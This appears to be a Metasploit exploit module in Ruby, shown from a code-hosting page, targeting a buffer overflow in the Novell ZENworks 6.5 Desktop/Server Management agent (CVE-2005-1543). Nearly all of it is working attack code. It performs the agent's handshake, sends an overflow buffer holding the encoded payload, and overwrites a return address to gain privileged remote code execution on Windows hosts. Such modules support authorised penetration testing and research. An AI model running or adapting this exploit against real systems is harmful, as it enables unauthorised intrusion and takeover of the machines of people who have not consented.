Path: blob/master/modules/exploits/windows/novell/zenworks_desktop_agent.rb
33086 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',15'Description' => %q{16This module exploits a heap overflow in the Novell ZENworks17Desktop Management agent. This vulnerability was discovered18by Alex Wheeler.19},20'Author' => [ 'Unknown' ],21'License' => BSD_LICENSE,22'References' => [23[ 'CVE', '2005-1543'],24[ 'OSVDB', '16698'],25[ 'BID', '13678'],2627],28'Privileged' => true,29'Payload' => {30'Space' => 32767,31'BadChars' => "\x00",32'StackAdjustment' => -350033},34'Targets' => [35[36'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',37{38'Platform' => 'win',39'Ret' => 0x10002e0640},41],42],43'DisclosureDate' => '2005-05-19',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def exploit55connect5657hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"58print_status('Sending version identification')59sock.put(hello)6061pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)62ident = sock.get_once63if !(ident and ident.length == 16)64print_error('Failed to receive agent version identification')65return66end6768print_status('Received agent version identification')69print_status('Sending client acknowledgement')70sock.put("\x00\x01")7172# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management73sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")7475sock.get_once76sock.put("\x00\x01")77sock.put("\x00\x02")7879print_status('Sending final payload')80sock.put("\x00\x24" + ('A' * 0x20) + [ target.ret ].pack('V'))8182print_status('Overflow request sent, sleeping for four seconds')83select(nil, nil, nil, 4)8485handler86disconnect87end88end899091